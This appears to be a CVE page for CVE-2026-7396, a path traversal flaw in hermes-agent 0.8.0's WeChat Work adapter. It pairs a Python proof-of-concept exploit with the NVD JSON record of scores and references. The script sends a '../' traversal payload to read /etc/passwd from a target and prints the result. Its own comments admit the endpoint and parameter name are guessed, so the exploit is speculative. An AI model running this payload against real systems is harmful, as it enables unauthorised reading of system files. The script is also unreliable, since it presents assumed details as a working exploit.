CVE-2026-7396

import requests # PoC for CVE-2026-7396 # Target: NousResearch hermes-agent 0.8.0 # Component: WeChat Work Platform Adapter (gateway/platforms/wecom.py) def exploit(target_url): # The vulnerable endpoint is likely related to file retrieval or message handling # Assuming the endpoint takes a file path parameter base_url = f"{target_url}/gateway/platforms/wecom" # Common path traversal payload to read /etc/passwd on Linux systems # Adjust the payload based on the actual parameter name (e.g., 'file', 'path', 'url') traversal_payload = "../../../../../../../../etc/passwd" params = { "file": traversal_payload # Hypothetical parameter name } try: print(f"[+] Sending request to {base_url} with payload: {traversal_payload}") response = requests.get(base_url, params=params, timeout=10) if response.status_code == 200: if "root:" in response.text: print("[!] Exploit successful! Sensitive file content retrieved:") print(response.text) else: print("[-] Request sent, but file content not recognized.") print(response.text[:200]) else: print(f"[-] Exploit failed. HTTP Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-7396", "sourceIdentifier": "[email protected]", "published": "2026-04-29T18:16:05.567", "lastModified": "2026-04-29T21:16:21.590", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in NousResearch hermes-agent 0.8.0. Affected by this issue is some unknown functionality of the file gateway/platforms/wecom.py of the component WeChat Work Platform Adapter. The manipulation leads to path traversal. It is possible to initiate the attack remotely. The exploit is publicly available and might be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/NousResearch/hermes-agent/", "source": "[email protected]"}, {"url": "https://github.com/NousResearch/hermes-agent/issues/8733", "source": "[email protected]"}, {"url": "https://github.com/bugmaker2/hermes-agent/issues/29", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/803269", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360120", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360120/cti", "source": "[email protected]"}]}}